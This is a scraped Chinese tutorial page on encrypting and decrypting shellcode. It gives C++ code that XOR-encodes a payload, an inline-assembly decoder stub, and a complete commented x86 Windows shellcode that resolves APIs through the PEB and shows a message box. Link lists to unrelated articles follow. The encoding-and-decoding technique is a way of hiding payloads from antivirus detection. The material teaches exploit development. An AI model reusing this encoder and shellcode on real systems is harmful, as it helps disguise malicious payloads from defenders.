shellcode加密与解密
// Encoder.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
void encoder(char* input ,unsigned char key,int display_flag)
{
int i=0,len=0;
FILE *fp;
unsigned char *output;
len = strlen(input);
output = (unsigned char *)malloc(len+1);
if (!output)
{
printf("memory erro!\n");
exit(0);
}
//encode the shellcode
for(i=0;i<len;i++)
{
output[i] = input[i]^key;
}
if (!(fp=fopen("encode.txt","w+")))
{
printf("output file create erro");
exit(0);
}
fprintf(fp,"\""); //单引号
for (i=0;i<len;i++)
{
fprintf(fp,"\\x%0.2x",output[i]);
if ((i+1)%16==0)
{
fprintf(fp,"\"\n\"");
}
}
fprintf(fp,"\";");
fclose(fp);
printf("dump the encoded shellcode to encode.txt OK!\n");
if (display_flag) //print to screen
{
for (i=0;i<len;i++)
{
printf("%0.2x",output[i]);
if ((i+1)%16==0)
{
printf("\n");
}
}
}
free(output);
}
void decoder()
{
//==================解码器=================================================
__asm
{
add eax,0x14 //越过,记录Shellcode的起始地址
xor ecx,ecx //ecx寄存器清零
decode_loop:
mov bl,byte ptr[eax+ecx]
xor bl,0x44 //这里用0x44作为Key,如编码的Key改变,这里也要随之改变
mov [eax+ecx],bl
inc ecx
cmp bl,0x90 //在Shellcode末尾放上一个字节的0x90作为结束符
jne decode_loop
}
//==================解码器END=================================================
}
char popup_general[]=
"\xFC" //cld
"\x68\x6A\x0A\x38\x1E" //push 1E380A6A
"\x68\x63\x89\xD1\x4F" //push 4FD18963
"\x68\x32\x74\x91\x0C" //push 0C917432
"\x8B\xF4" //mov esi,esp
"\x8D\x7E\xF4" //lea edi,dword ptr ds[esi-C]
"\x33\xDB" //xor ebx,ebx
"\xB7\x04" //mov bh,4
"\x2B\xE3" //sub esp,ebx
"\x66\xBB\x33\x32" //mov bx,3233
"\x53" //push ebx
"\x68\x75\x73\x65\x72" //push 72657375
"\x54" //push esp
"\x33\xD2" //xor edx,edx
"\x64\x8B\x5A\x30" //mov ebx,dword ptr fs[edx+30]
"\x8B\x4B\x0C" //mov ecx,dword ptr ds[ebx+C]
"\x8B\x49\x1C" //mov ecx,dword ptr ds[ecx+1C]
"\x8B\x09" //mov ecx,dword ptr ds[ecx]
"\x8B\x69\x08" //mov ebp,dword ptr ds[ecx+8]
"\xAD" //lods dword ptr ds[esi]
"\x3D\x6A\x0A\x38\x1E" //cmp eax,1E380A6A
"\x75\x05" //jnz short shellcod.0040D48C
"\x95" //xchg eax,ebp
"\xFF\x57\xF8" //call dword ptr ds[edi-8]
"\x95" //xchg eax,ebp
"\x60" //pushad
"\x8B\x45\x3C" //mov eax,[arg.14]
"\x8B\x4C\x05\x78" //mov ecx,dword ptr ss[ebp+eax+78]
"\x03\xCD" //add ecx,ebp
"\x8B\x59\x20" //mov ebx,dword ptr ds[ecx+20]
"\x03\xDD" //add ebx,ebp
"\x33\xFF" //xor edi,edi
"\x47" ///inc edi
"\x8B\x34\xBB" //|mov esi,dword ptr ds[ebx+edi*4]
"\x03\xF5" //|add esi,ebp
"\x99" //|cdq
"\x0F\xBE\x06" //|/movsx eax,byte ptr ds[esi]
"\x3A\xC4" //||cmp al,ah
"\x74\x08" //||je short shellcod.0040D4B3
"\xC1\xCA\x07" //||ror edx,7
"\x03\xD0" //||add edx,eax
"\x46" //||inc esi
"\xEB\xF1" //|\jmp short shellcod.0040D4A4
"\x3B\x54\x24\x1C" //|cmp edx,dword ptr ss[esp+1C]
"\x75\xE4" //\jnz short shellcod.0040D49D
"\x8B\x59\x24" //mov ebx,dword ptr ds[ecx+24]
"\x03\xDD" //add ebx,ebp
"\x66\x8B\x3C\x7B" //mov di,word ptr ds[ebx+edi*2]
"\x8B\x59\x1C" //mov ebx,dword ptr ds[ecx+1C]
"\x03\xDD" //add ebx,ebp
"\x03\x2C\xBB" //add ebp,dword ptr ds[ebx+edi*4]
"\x95" //xchg eax,ebp
"\x5F" //pop edi
"\xAB" //stos dword ptr es[edi]
"\x57" //push edi
"\x61" //popad
"\x3D\x6A\x0A\x38\x1E" //cmp eax,1E380A6A
"\x75\xA9" //jnz short shellcod.0040D47F
"\x33\xDB" //xor ebx,ebx
"\x53" //push ebx
"\x68\x77\x65\x73\x74" //push 74736577
"\x68\x66\x61\x69\x6C" //push 6C696166
"\x8B\xC4" //mov eax,esp
"\x53" //push ebx
"\x50" //push eax
"\x50" //push eax
"\x53" //push ebx
"\xFF\x57\xFC" //call dword ptr ds[edi-4]
"\x53" //push ebx
"\xFF\x57\xF8"; //call dword ptr ds[edi-8] //nop
int main(int argc, char* argv[])
{
encoder(popup_general,0x44,1);
return 0;
}
shellcode加密与解密的更多相关文章
- ASP.NET加密和解密数据库连接字符串
大家知道,在应用程序中进行数据库操作需要连接字符串,而如果没有连接字符串,我们就无法在应用程序中完成检索数据,创建数据等一系列的数据库操作.当有人想要获取你程序中的数据库信息,他首先看到的可能会是We ...
- 命令行工具aspnet_regiis.exe实现加密和解密web.config
命令行工具aspnet_regiis.exe,是一个类似于DOS的命令工具,称之为命令解释器.使用命令行工具加密和解密web.config文件中的数据库连接字符串时,只需要简单的语法命令即可. 加密语 ...
- 使用EncryptByPassPhrase和DecryptByPassPhrase对MS SQLServer某一字段时行加密和解密
在数据库实现加密与解密的文章,Insus.NET较早前也有写过,可以在本博客中可以搜索得到. 今天使用EncryptByPassPhrase和DecryptByPassPhrase来简单实现. 在数据 ...
- AES —— JAVA中对称加密和解密
package demo.security; import java.io.IOException; import java.io.UnsupportedEncodingException; impo ...
- 通过ios实现RSA加密和解密
在加密和解密中,我们需要了解的知识有什么事openssl:RSA加密算法的基本原理:如何通过openssl生成最后我们需要的der和p12文件. 废话不多说,直接写步骤: 第一步:openssl来生成 ...
- PHP 使用 mcrypt 扩展中的 mcrypt_encrypt() 和 mcrypt_decrypt() 对数据进行加密和解密
<?php /* 使用 mcrypt 扩展中的 mcrypt_encrypt() 和 mcrypt_decrypt() 对数据进行加密和解密 */ // 加密 $algorithm = MCRY ...
- iOS,一行代码进行RSA、DES 、AES、MD5加密、解密
本文为投稿文章,作者:Flying_Einstein(简书) 加密的Demo,欢迎下载 JAVA端的加密解密,读者可以看我同事的这篇文章:http://www.jianshu.com/p/98569e ...
- C# 利用SQLite对.DB和.logdb加密和解密和SQLite创建数据库
1.最近研究了下利用SQLite为db文件简单的加密和解密 private static SQLiteConnection GetConnection() { SQLiteConnection con ...
- 如何对web.config进行加密和解密
http://blog.csdn.net/jf_jifei/article/details/6527390 在WEB网站开发过程中,如果我们将数据库连接字符串封装到.DLL文件中,将会给数据库和程序的 ...
随机推荐
- c#如何写服务,打包和卸载服务
Service.cs 每隔一分钟进行一次数据操作 public Service1() { InitializeComponent(); Sy ...
- 開啟windows 7 ,10 的熱點功能(無線熱點)
開啟windows 7 ,10 的熱點功能: 1.首先要確定你的電腦無線芯片有無熱點功能 # netsh wlan show drivers Hosted network supported ...
- (转)图文详解MyEclipse中新建Maven webapp项目的步骤
转:https://blog.csdn.net/ClementAD/article/details/46592557 MyEclipse中创建新的Maven项目(webapp目录结构)过程如下: ...
- PHP基础知识总结(四) 留言板例子 知识应用
1.留言板显示页面:note.php <?php $host = "127.0.0.1"; $user = "root"; $pwd = "zs ...
- QC增加Test、Defect字段
QC--Tools--customization,在Project Entities中增加字段,在Project Lists中编辑Lookup List类型字段的指定值
- 52、saleforce 导入csv文件
Load Data Using the Custom Object Import Wizard 1. 2. 3. 4. 5. 6.然后就导入成功了
- kali开启禁止或删除ssh 开机启动
开启禁止或删除ssh 开机启动 # update-rc.d ssh enable #//开机启动 # update-rc.d ssh disable #//禁止开机启动 # update-rc.d - ...
- C++构造函数异常(一)
C++ 构造函数的异常是一个比较难缠的问题,很多时候,我们可能不去考虑这些问题,如果被问到,有人可能会说使用RAII管理资源. 但你真的考虑过如果构造函数失败了,到底会发生什么吗,前面构造成功的成员. ...
- ssh远程连接控制 linux 口令、密钥连接
sshd服务提供两种安全验证的方法: 基于口令的安全验证:经过验证帐号与密码即可登陆到远程主机. 基于密钥的安全验证:需要在本地生成“密钥对”后将公钥传送至服务端,进行公共密钥的比较(相对安全). 首 ...
- overflow:hidden失效
overflow:hidden失效 为了页面的健壮性,我们常常需要使用overflow:hidden.有时候是为了防止布局被撑开,有时候是为了配合其它规则实现文字截断,还有时候纯粹是为了创建块级上下文 ...